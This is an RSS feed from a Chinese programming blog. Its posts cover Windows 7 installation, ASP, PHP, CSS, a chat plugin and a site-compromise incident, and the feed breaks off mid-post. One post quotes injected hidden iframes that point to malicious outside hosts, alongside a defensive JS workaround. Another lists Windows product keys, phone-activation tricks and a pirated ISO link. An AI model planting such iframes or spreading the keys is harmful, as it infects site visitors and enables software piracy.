<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[无双的天空]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[亲近编程语言,学习编程,聊聊编程故事!]]></description>
<link>http://hi.baidu.com/yuanguo%5F</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[win7 X64旗舰版安装使用新体验]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/8c39de1b57e793dfad6e7521.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p> </p>
<p> </p>
<p>　下载了cn_windows_7_ultimate_x64_dvd_x15-66043.iso（64位<span class="t_tag" href="tag.php?name=%BC%F2%CC%E5%D6%D0%CE%C4">简体中文</span>旗舰版本）,刻盘安装,折腾了一宿,终于可以看到windows7闪亮的启动画面.安装时需要输入序列号：&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  KH2J9-PC326-T44D4-39H6V-TVPBY</p>
<p>　启动后，可通过电话激活。</p>
<p align="center"><font size="3">最终效果图：</font></p>
<p align="center"><font size="3"><img style="cursor: pointer" width="600" height="116" src="http://qjdmba.bay.livefilestore.com/y1p7tao7_k8TB3Htofhl9RTDDqWkLIzfRhB72qko-1JsF773zKRRwU_IUci7ErC2UqIrz1mHl2I0NzNcIOdZ3Lfaxhb3xbZ_p7I/099261455.jpg"></font></p>
<p><font size="3">具体激活步骤：<br>
右键计算机图标，进入系统属性，点击下端的激活windows激活链接，会弹出密钥输入<span class="t_tag" href="tag.php?name=%B4%B0%BF%DA">窗口</span>，输入以下windows 7密钥：<br>
<br>
<font color="#000000"><strong>Windows 7 Ultimate Retail</strong><br>
KH2J9-PC326-T44D4-39H6V-TVPBY<br>
TFP9Y-VCY3P-VVH3T-8XXCC-MF4YK<br>
经测试，目前任意一个均能进入电话激活一步！<br>
<strong>Windows 7 Professional Retail</strong><br>
</font></font><font size="3"><font color="#000000">BWPX2-XK2T8-3GV2W-KHQVP-QXCDV <br>
HWRFF-2FFYX-XFXP2-DYFC3-BX3B7 <br>
YT9K9-4R938-3TVXX-3Q3QT-9HBXM <br>
C3X7Y-R6WWH-BRXRD-FY84C-FXWHK <br>
XJBR4-M42Q4-QPJ9C-BRDRJ-KHPVY <br>
TF3Q7-YYP8R-D78R7-W9Q9M-DXVBK <br>
J8D39-J2WM3-6368H-JV8G9-BYJJQ <br>
P3H89-V3P2R-JVBTF-YM2J2-FTMT3 <br>
RGM4T-3VT6B-GTYPY-3FHP2-HV2YJ <br>
TTY4D-RDKK9-TYB2T-68WJW-M69KJ<br>
</font>精力有限，未能一一尝试，若提示为无效的激活密钥，请更换其他密钥！<br>
若提示一下如图：<br>
<img style="cursor: pointer" width="600" height="502" src="http://qjdmba.bay.livefilestore.com/y1plun4jQB1hnbNQGuy3zUo4Kcy_V4nxS7BohnLiLXggcZEf8OfhCDaOyDKRLWz0mDXCrl-ru8uTQvDr3alI1Dnng2IJ-Wf-ZAs/win7%20phone.jpg"><br>
&mdash;&mdash;点击使用自动的电话系统激活（U）<br>
默认选择<span class="t_tag" href="tag.php?name=%D6%D0%B9%FA">中国</span>，点下一步&mdash;&mdash;弹出&ldquo;现在激活Windows&rdquo;窗口，即可安装界面提示的给微软打电话，<span class="t_tag" href="tag.php?name=%BD%A8%D2%E9">建议</span>拨打免费电话（座机800手机400，只收取基本市话费用）<br>
通话过程中按照提示进行操作，语言1产品2，接着输入安装ID（就是刚刚的Windows激活窗口中的第二条信息，共54位）<br>
输完54位数字后，也许会问你&mdash;&mdash; <br>
</font><font size="3"><strong><font color="#008000">是不是在同一台机器上重新安装系统，请选是，即1, <br>
是不是已经<span class="t_tag" href="tag.php?name=%D0%B6%D4%D8">卸载</span>了前一个安装，请选是，即1</font></strong> <br>
&mdash;&mdash;注意：若不按照上面提醒操作，就不会得到48位数字，并且会转接到人工线路，这样你激活就会出现困难了！<br>
等待为你回应提供48位激活码，记录下来后，在激活窗口中输入，点击下一步，您的windows 7即可<strong>激活成功</strong>。<br>
如果进入人工线路，就会有微软的客服MM咨询你相关的问题，如果你的忽悠能力<span class="t_tag" href="tag.php?name=%B3%AC%BC%B6">超级</span>的高，MM们为你激活也不一定哦！^_^</font></p>
<p><font size="3">windows7 X64 ED2K电驴迅雷下载:<a target="_blank" href="ed2k://%7Cfile%7Ccn_windows_7_ultimate_x64_dvd_x15-66043.iso%7C3341268992%7C7dd7fa757ce6d2db78b6901f81a6907a%7Ch=C73LEWWCM5X6KY7A5SF2BOKVGOQEF3QI%7C/">ed2k://%7Cfile%7Ccn_windows_7_ultimate_x64_dvd_x15-66043.iso%7C3341268992%7C7dd7fa757ce6d2db78b6901f81a6907a%7Ch=C73LEWWCM5X6KY7A5SF2BOKVGOQEF3QI%7C/</a></font></p>
<p><font size="3">介于很多软件都不支持64位操作系统的原故，无双建议大家还是使用32位的比省事。</font></p>
<p><font size="3">更多下载：<a href="http://www.metsky.com/archives/100.html">http://www.metsky.com/archives/100.html</a><br>
</font></p>
<p>杀毒软件原生64位的就只有MSE，MSE X64英文下载地址：</p>
<p><a href="http://www.uushare.com/filedownload?user=shikkoku&amp;id=1926713">http://www.uushare.com/filedownload?user=shikkoku&amp;id=1926713</a></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/8c39de1b57e793dfad6e7521.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%D0%C5%CF%A2">信息</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/8c39de1b57e793dfad6e7521.html#comment">查看评论</a>]]></description>
        <pubDate>2009年11月01日 星期日  下午 02:43</pubDate>
        <category><![CDATA[信息]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/8c39de1b57e793dfad6e7521.html</guid>
</item>

<item>
        <title><![CDATA[删除文章并同时删除文件]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/e4e93ad30e5a3a093af3cff1.html]]></link>
        <description><![CDATA[
		
		<p>　　当我们在使用ewebeditor,meditor等在线编辑器的时候，因上传的图片文件无法很好的得到管理，大量文章删除后图片还留在空间中，这样就造成了网站空间的浪费。　　如果能在删除文章的同时删除上传的文件，上面的问题将彻底解决，可谓是一劳永逸。下面的方法，就是为此而设计的。　　通过正则表达式提取文章中的图片路径，然后将其一一删除。代码如下：</p>
<p>sub delImage(tTopicid)'参数文章ID <br>
 '使用正则查找文章中全部图片路径 <br>
 set delFilers=server.createobject(&quot;adodb.recordset&quot;) <br>
 delFilesql=&quot;select top 1 content from team_topic where topicid=&quot;&amp;tTopicid'注意表名和字段名<br>
 delFilers.open delFilesql,conn,1,1 <br>
 AA=delFilers(0) <br>
 delFilers.close<br>
 Set delFilers=nothing<br>
 Set RE=NEW REGEXP <br>
 RE.GLOBAL=TRUE <br>
 'RE.PATTERN=&quot;&lt;IMG[^&lt;]{,1}&gt;&quot; </p>
<p>'匹配图片路径的正则表达式<br>
 RE.Pattern = &quot;(src=)('|&quot;&amp;CHR(34)&amp;&quot;| )?(.[^'| |&quot;&amp;CHR(34)&amp;&quot;]*)(\.)(jpg|gif|png|bmp|jpeg)('|&quot;&amp;CHR(34)&amp;&quot;| |&gt;)?&quot; ' <br>
 Set Matches = RE.Execute(AA) ' 执行搜索。 <br>
 For Each Match in Matches <br>
&nbsp;&nbsp; if instr(Match,&quot;../upload/&quot;)&gt;0 then<br>
&nbsp;&nbsp;&nbsp; allpicurl=Replace(MATCH,&quot;src=&quot;,&quot;&quot;)<br>
&nbsp;&nbsp;&nbsp; '去除双引号<br>
&nbsp;&nbsp;&nbsp; allpicurl=replace(allpicurl,&quot;'&quot;,&quot;&quot;) <br>
&nbsp;&nbsp;&nbsp; allpicurl=replace(allpicurl,CHR(34),&quot;&quot;) <br>
&nbsp;&nbsp;&nbsp; allpicurl=replace(allpicurl,&quot;../&quot;,&quot;&quot;) '只取本地上传目录里的图片<br>
&nbsp;&nbsp;&nbsp; deletefile(server.mapPath(allpicurl))<br>
&nbsp;&nbsp; end if<br>
 Next<br>
end sub<br>
'文件删除函数 <br>
function deletefile(filename)<br>
 on error resume next<br>
 if filename&lt;&gt;&quot;&quot; then<br>
&nbsp;&nbsp; set fso=server.CreateObject(&quot;scripting.filesystemobject&quot;)<br>
&nbsp;&nbsp; if fso.FileExists(filename) then<br>
&nbsp;&nbsp;&nbsp; fso.DeleteFile filename<br>
&nbsp;&nbsp; 'else<br>
&nbsp;&nbsp;&nbsp; 'Response.Write &quot;&lt;script&gt;alert('该文件不存在');&lt;/script&gt;&quot;<br>
&nbsp;&nbsp; end if<br>
 end if<br>
end function</p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/e4e93ad30e5a3a093af3cff1.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/e4e93ad30e5a3a093af3cff1.html#comment">查看评论</a>]]></description>
        <pubDate>2009年08月01日 星期六  下午 05:48</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/e4e93ad30e5a3a093af3cff1.html</guid>
</item>

<item>
        <title><![CDATA[在ie6下造成CPU 100%的css代码]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/8dfe81100a074408203f2e7b.html]]></link>
        <description><![CDATA[
		
		<div class="real_blog" style="text-indent: 2em; height: auto! important">
<table style="table-layout: fixed; width: 100%; position: relative" cellspacing="0" cellpadding="0">
    <tbody>
        <tr>
            <td style="word-wrap: break-word" valign="top">
            <div style="font-size: 16px">
            <p>a {<br>
            color: #77920A;<br>
            text-decoration: underline;<br>
            star : expression(onfocus=this.blur);<br>
            }</p>
            <p>就是star : expression(onfocus=this.blur);这句可以让CPU 100%,汗！</p>
            <p>用别人的css文件，不小心用到了，郁闷了两天。</p>
            <p>偶然间发现，当鼠标移动到body到上是就出现CPU100%的现象，因此首先想到了js语句，查了没js代码，这才想到可能是CSS代码问题，于是逐个查看CSS文件，果然不出所料，终于让我找到这该死代码，注释掉一切OK！</p>
            </div>
            </td>
        </tr>
    </tbody>
</table>
</div> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/8dfe81100a074408203f2e7b.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/8dfe81100a074408203f2e7b.html#comment">查看评论</a>]]></description>
        <pubDate>2009年07月27日 星期一  下午 11:59</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/8dfe81100a074408203f2e7b.html</guid>
</item>

<item>
        <title><![CDATA[无双手机短信在线群发系统]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/b637b512439888c7c3fd78f1.html]]></link>
        <description><![CDATA[
		
		<p>　　无双手机短信在线群发系统,越发越优惠!<a target="_blank" href="http://www.onlywww.net/-default.asp"><font color="#0000ff">现在就去</font></a></p>
<p> </p>
<div forimg="1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <a target="_blank" href="http://www.onlywww.net/"><img class="blogimg" border="0" small="0" src="http://www.onlywww.net/img/msgsend.gif"></a></div>
<p>　　 　　<a target="_blank" href="http://www.onlywww.net"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/yuanguo%5F/pic/item/73acaa1ee84d823841341789.jpg"></a></p>
<p>　　短信系统功能说明：<br>
　　1、强大的短信群发功能，能同时向上万用户发送信息，高效快捷； 无论是：广告、通知、最新活动、产品</p>
<p>动态、行业资讯、会议召开、娱乐等都将轻松搞定。<br>
　　2、简单易用，在线编辑短信，轻松、方便，同时系统内置数百条各种节假日短信，问候语...等。<br>
　　3、通信簿功能，可以对联系人分门别类的管理，数量不限。<br>
　　4、记录明细。 详细的短信发送记录、让您一目了然。<br>
　　5、短信存储功能，可分组收藏各类常用或经典短信，免去以往重复输入的麻烦。<br>
　　6、可发送到达成功率高，四网合一，移动、联通、小灵通均可畅达。<br>
　　7、价格优惠，每条仅0.1元，发得越多越优惠，单条短信最低至0.07元。<br>
　　8、网银在线充值，即充即用。</p>
<p>　　测试用户：user 密码：12345678<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <a target="_blank" href="http://www.onlywww.net/-default.asp">http://www.onlywww.net</a></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/b637b512439888c7c3fd78f1.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/b637b512439888c7c3fd78f1.html#comment">查看评论</a>]]></description>
        <pubDate>2009年07月10日 星期五  下午 08:03</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/b637b512439888c7c3fd78f1.html</guid>
</item>

<item>
        <title><![CDATA[12条经典短信]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/b637b512391826c6c2fd7871.html]]></link>
        <description><![CDATA[
		
		<div>1、忙碌中别忘给心灵一点空间和营养，让喜悦与平静自然滋长，随时给生命来个深呼吸就会发现，美好无处不在，快乐随手可得。</div>
<div>2、发废话会花话费,回发废话话费花,发废话花费话费会后悔,回发废话会费话费,花费话费回发废话会耗费话费，我就不信一毛钱整不晕你！</div>
<div>3、这几天公安局疯了，正在通缉靓女：不太靓的判五年，靓的判十年，非常靓的判二十年，你先躲躲，像你这样，基本要判个无期！</div>
<div>4、一声问候，收到就行；要是很忙，不回也行；我在想你，知道就行；今天的你，开心就行；记得想我，偶尔就行；看完之后，笑笑就行！</div>
<div>5、一点情谊一点情，一条短信传真情，一样祝福一样心，一样祝你满温馨，一帆风顺好前程，一如既往好心情！</div>
<div>6、跟你做了这么久的朋友，你一直都很关心我，我却时常给你添麻烦，真不知该怎么报答你。所以，下辈子你作牛作马，我一定拔草给你吃！</div>
<div>7、快乐送给开朗的人，爱情送给懂爱的人，幸福送给有情的人，希望送给等待的人，成功送给奋斗的人，一切美好的祝福送给我最爱的人。</div>
<div>8、曾经拥有的不要忘记，已经得到的更要珍惜，属于自己的不要放弃，已经失去的留做回忆，想要得到的必须努力，重要的是好好爱惜自己！</div>
<div>9、无论空间如何改变，你永远走不出我视线；无论时间如何转变，你永远逃不出我的思念！</div>
<div>10、快乐的秘决：抛弃仇恨、远离烦恼、生活简单、淡泊名利、为人着想、笑口常开、心中有爱。</div>
<div>11、忙碌是一种幸福,让我们没时间体会痛苦;奔波是一种快乐,让我们感受生活:疲惫是一种享受,让我们无暇空虚.</div>
<div>
<p>12、真正的生命，春天不艳、秋天不凋；真正的情谊，贵时不重，贫时不轻；真真正的生命，春天不艳、秋天不凋；真正的情谊，贵时不重，贫时不轻；真正的快乐，节日不浓，平时不淡；真正的祝福，情真意切，韵味悠长！</p>
<p>偶尔的繁忙，不代表遗忘；夏日的到来。愿你心情舒畅，曾落下的问候，这一刻一起补偿，所有的关心，凝聚每一条短信，祝福朋友们天天快乐！</p>
</div> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/b637b512391826c6c2fd7871.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%B7%D6%CF%ED">分享</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/b637b512391826c6c2fd7871.html#comment">查看评论</a>]]></description>
        <pubDate>2009年06月03日 星期三  上午 04:58</pubDate>
        <category><![CDATA[分享]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/b637b512391826c6c2fd7871.html</guid>
</item>

<item>
        <title><![CDATA[学习php之第一天]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/712d15d8b571003333fa1c19.html]]></link>
        <description><![CDATA[
		
		<p>　　想想学习ASP已经有些日子了，但是很多项目都需要用到PHP，从今天开始，坚持学习PHP，我这里暂时是以 Apache web server 和mysql/access作为WEB服务器和数据库，在php-5.2.5.5下的环境做的程序。 <br>
  下面开始学习简单PHP的语法。<br>
  1、嵌入文件的方法：<br>
  类似ASP的&lt;%，PHP可以是&lt;?php或者是&lt;?，结束符号是?&gt;，当然也可以自己指定。<br>
  2、引用文件：<br>
  引用文件的方法有两种：require 及 include。<br>
  require 的使用方法如 require(&quot;MyRequireFile.php&quot;); 。这个函数通常放在 PHP 程序的最前面，PHP 程序在执行前，就会先读入 require 所指定引入的文件，使它变成 PHP 程序网页的一部份。常用的函数，亦可以这个方法将它引入网页中。<br>
  include 使用方法如 include(&quot;MyIncludeFile.php&quot;); 。这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时，才将它读进来。这种方式，可以把程序执行时的流程简单化。 <br>
  3、注释方法：<br>
  &lt;?php <br>
  echo &quot;这是第一种例子。\n&quot; ; // 本例是 C++ 语法的注释 <br>
  /* 本例采用多行的 <br>
  注释方式 */ <br>
  echo &quot;这是第二种例子。\n&quot; ; <br>
  echo &quot;这是第三种例子。\n&quot; ; # 本例使用 UNIX Shell 语法注释 <br>
  ?&gt; <br>
  4、变量类型：<br>
  $mystring = &quot;我是字符串&quot; ; <br>
  $NewLine = &quot;换行了\n&quot; ; <br>
  $int1 = 38 ; <br>
  $float1 = 1.732 ; <br>
  $float2 = 1.4E+2 ; <br>
  $MyArray1 = array( &quot;子&quot; , &quot;丑&quot; , &quot;寅&quot; , &quot;卯&quot; ); <br>
  这里引出两个问题，首先PHP变量以$开头，第二PHP语句以;结尾，可能ASP程序员会不适应。这两个遗漏也是程序上大多错误所在。<br>
  5、运算符号： <br>
  数学运算： 符号 意义  <br>
  +  加法运算  <br>
  -  减法运算  <br>
  *  乘法运算  <br>
  /  除法运算  <br>
  %  取余数  <br>
  ++  累加  <br>
  --  递减  <br>
  字符串运算：<br>
  运算符号只有一个，就是英文的句号(.)它可以将字符串连接起来，变成合并的新字符串。类似ASP中的(&amp;)<br>
  &lt;?<br>
  $a = &quot;PHP 4&quot; ; <br>
  $b = &quot;功能强大&quot; ; <br>
  echo $a.$b; <br>
  ?&gt; <br>
  这里也引出两个问题，首先PHP中输出语句是echo，第二类似ASP中的&lt;%=变量%&gt;，PHP中也可以&lt;?=变量?&gt;。<br>
  逻辑运算：<br>
  符号 意义  <br>
  &lt;  小于  <br>
  &gt;  大于  <br>
  &lt;=  小于或等于  <br>
  &gt;=  大于或等于  <br>
  ==  等于  <br>
  !=  不等于  <br>
  &amp;&amp;  而且 (And)  <br>
  and  而且 (And)  <br>
  ||  或者 (Or)  <br>
  or  或者 (Or)  <br>
  xor  异或 (Xor)  <br>
  !  不 (Not)  <br>
  今天就学到这里，明天学习流程控制。<br>
　　本文来自&ldquo;发霉的论坛&rdquo; <a href="http://www.52bcl.net/">http://www.52bcl.net</a></p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/712d15d8b571003333fa1c19.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/712d15d8b571003333fa1c19.html#comment">查看评论</a>]]></description>
        <pubDate>2008年09月23日 星期二  下午 02:16</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/712d15d8b571003333fa1c19.html</guid>
</item>

<item>
        <title><![CDATA[[原创最新发布]聊天程序for ASP website]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/a8c9316dccaf1bfd431694e7.html]]></link>
        <description><![CDATA[
		
		浮动聊天插件for ASP website 终于迎来了暂新的里程，版本2.0。本程序可以很轻松的整合到ASP语言设计的网站以BLOG程序中!程序大小为2.12M，不占用任何空间。<br>
本插件的特点：<br>
　　1.适用于所在ASP站点，自动识别站点名称(也可在配置文件中自己修改，参考第3步),界面美观。<br>
　　2.管理员身份通过配置程序自行指定，随机自动分配游客身份，自行统计在线人数。<br>
　　3.绿色插件，安装简单方便，下载附件解压后直接上传至论坛根目录，访问http://域名.chat/setconfig.asp，配置相关参数<br>
Const chatDB=&quot;./XXXXXXXXXX.mdb&quot; '请将XXXXXX.mdb&quot;改为自己改名后的聊天程序数据库名称<br>
是否支持表情？<br>
&nbsp;&nbsp;&nbsp;&nbsp;  /01-/95可插入表情,/m1-/m58可插入麻魔法表情，如果不需要，访问http://域名.chat/setconfig.asp,找到以下两项,改为0即可<br>
Const IsEmot = 1'需要表情，请改为0<br>
Const IsMagicfaceEmot = 1'需要魔法表情，请改为0<br>
&nbsp;&nbsp;&nbsp;&nbsp;  然后在在页面中添加代码调用：<br>
　　　 &lt;script src=&quot;chat/chatw3c.asp?max=1&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;。加?max=1是打开网站时即打开聊天窗口。<br>
&nbsp;&nbsp;  　　 &lt;!--浮动聊天调用?max=0为最小化--&gt;<br>
&nbsp;&nbsp;&nbsp;  　　&lt;-script src=&quot;chat/chatw3c.asp?max=0&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br>
&nbsp;&nbsp;&nbsp;  　　&lt;!--浮动聊天调用结束--&gt;<br>
　　　　&lt;!--固定聊天调用，宽度w，高度h，t=标题，t为空则显示当前站点标题--&gt;<br>
　　　　&lt;script src=&quot;chat/fixupchat.asp?w=330&amp;h=240&amp;t=&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br>
　　　　&lt;!--固定聊天调用结束--&gt;<br>
　　　　演示：<a target="_blank" href="http://bbs.onlywww.net/demo.htm">http://bbs.onlywww.net/demo.htm</a><br>
　　4.聊天记录，可自行管理，可设定每天自动清除功能。 <br>
　　5.为了节约服务资源，访客在3分钟内不发言，窗体自动最小化。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  6.增加了系统消息提示，聊天记录管理(内容区右键打开)功能以及私聊功能，禁止发言(T人，管理员权限)功能。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  7.支持全部聊天记录查看，私聊信息(管理员可查看)除外,支持窗体状态保持(即切换页面时最小化及聊天窗口状态保持不变)。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  8.支持命令&quot;mgr///&quot;打开配置管理、&quot;del///&quot;删除论坛所有聊天内容或当前版块聊天内容，&quot;ver///&quot;系统版本查询。前两个需要有管理员权限才能执行,更多命令开发中...<br>
　　9.为了增加本系统性能，无新消息时不更新页面。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  10.实现聊天记录显示无刷新功能。&nbsp;&nbsp;&nbsp;  <br>
　　11.默认表情外，支持自定义表情配置,95.gif以后顺序添加。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  注意，配置完成后请将setconfig.asp从网站删除。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  由于时间有限，暂时更新到这里了。<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Global.asa放到网站根目录，用于统计在线人数。如已经存在，请自行将代码添加到源Global.asa文件中。<br>
<a target="_blank" href="http://bbs.onlywww.net/dispbbs.asp?boardid=17&amp;replyID=495&amp;ID=104&amp;skin=1">bbs.onlywww.net/dispbbs.asp</a> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/a8c9316dccaf1bfd431694e7.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/web%BF%AA%B7%A2">web开发</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/a8c9316dccaf1bfd431694e7.html#comment">查看评论</a>]]></description>
        <pubDate>2008年09月19日 星期五  下午 08:12</pubDate>
        <category><![CDATA[web开发]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/a8c9316dccaf1bfd431694e7.html</guid>
</item>

<item>
        <title><![CDATA[内框架挂马-病毒猖獗]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/1877392a6c2ed33d5343c1c4.html]]></link>
        <description><![CDATA[
		
		<p> </p>
<p>　　上周发现偶自己管理的社区被内框架挂马，一打开卡巴斯基就提示&ldquo;包含特洛伊程序&rdquo;，安装360后提示&ldquo;拦截到一个木马或恶意广告页面&rdquo;，且看图：</p>
<div forimg="1" align="center"><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/yuanguo%5F/pic/item/241eba002ed46f92e950cd00.jpg"></div>
<p>查看HTML源码，发现代码顶部多一句iframe语句，汗！！！</p>
<p>&lt;iframe src=http://nudsyhk2.cn/z51.htm?14 width=20 height=0 frameborder=0&gt;&lt;/iframe&gt;</p>
<p>&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;<a href="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd</a>&quot;&gt;<br>
&lt;html xml:lang=&quot;zh-CN&quot; lang=&quot;zh-CN&quot; xmlns=&quot;<a href="http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a>&quot;&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot; /&gt;<br>
&lt;title&gt;欢迎访问[爱大方论坛]&lt;/title&gt;</p>
<p>后逐一查看网站源码，并没有该行代码，于是查服务器，果然，同一服务器上的其它网站也被加一句同样的内框架代码，确定是服务器问题。无法，为了保证暂时的正常访问，用JS清除之。由于病毒制告者很聪明，在其挂码站内使JS出错，直接用JS还不被执行，NND，唯有先屏蔽js错误，再取到第一个内框架元素，将其src属性改为about:blank;代码如下：</p>
<p>&lt;script language=&quot;JavaScript&quot; type=&quot;text/javascript&quot;&gt;<br>
//屏蔽js错误 <br>
function ResumeError() { <br>
return true; <br>
} <br>
window.onerror = ResumeError;</p>
<p>if((document.getElementsByTagName(&quot;iframe&quot;)[0].src).indexOf(&quot;<a href="http://&quot;)!=-1)//">http://&quot;)!=-1)//</a>判断不是站内iframe<br>
{<br>
document.getElementsByTagName(&quot;iframe&quot;)[0].src=&quot;about:blank&quot;;<br>
//alert((document.getElementsByTagName(&quot;iframe&quot;)[0].src).indexOf(&quot;http://&quot;));<br>
}<br>
&lt;/script&gt;</p>
<p>但是没有想到的是，今天访问中国人才热线的网站，也出现如下提示，网络安全啊，<img src="http://img.baidu.com/hi/tsj/t_0015.gif"></p>
<p><img class="blogimg" border="0" small="0" src="http://hiphotos.baidu.com/yuanguo%5F/pic/item/5c6cdd13d5d4d7175aaf5305.jpg"></p>
<p><font color="#0000ff">&lt;iframe src=http://www.vvbbcss.cn/1.htm?13 width=100 height=0&gt;&lt;/iframe&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&lt;html&gt;<br>
&lt;head&gt;<br>
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;<br>
&lt;title&gt;深圳人才深圳招聘深圳求职--中国人才热线&lt;/title&gt;</font></p>
<p>真不知道还有多少这样的站点，晕！！！！</p> <a href="http://hi.baidu.com/yuanguo%5F/blog/item/1877392a6c2ed33d5343c1c4.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/yuanguo%5F/blog/category/%BC%C6%CB%E3%BB%FA">计算机</a>&nbsp;<a href="http://hi.baidu.com/yuanguo%5F/blog/item/1877392a6c2ed33d5343c1c4.html#comment">查看评论</a>]]></description>
        <pubDate>2008年06月23日 星期一  上午 02:02</pubDate>
        <category><![CDATA[计算机]]></category>
        <author><![CDATA[yuanguo_]]></author>
		<guid>http://hi.baidu.com/yuanguo%5F/blog/item/1877392a6c2ed33d5343c1c4.html</guid>
</item>

<item>
        <title><![CDATA[[分享]WEB浮动聊天插件for dvbbs8.0-8.2]]></title>
        <link><![CDATA[http://hi.baidu.com/yuanguo%5F/blog/item/0c384d348631814b251f140c.html]]></link>
        <description><![CDATA[
		
		<p>&nbsp;&nbsp;&nbsp;</p>
<p>　<strong>　界面如下：</strong></p>
<div forimg="1" align="center">
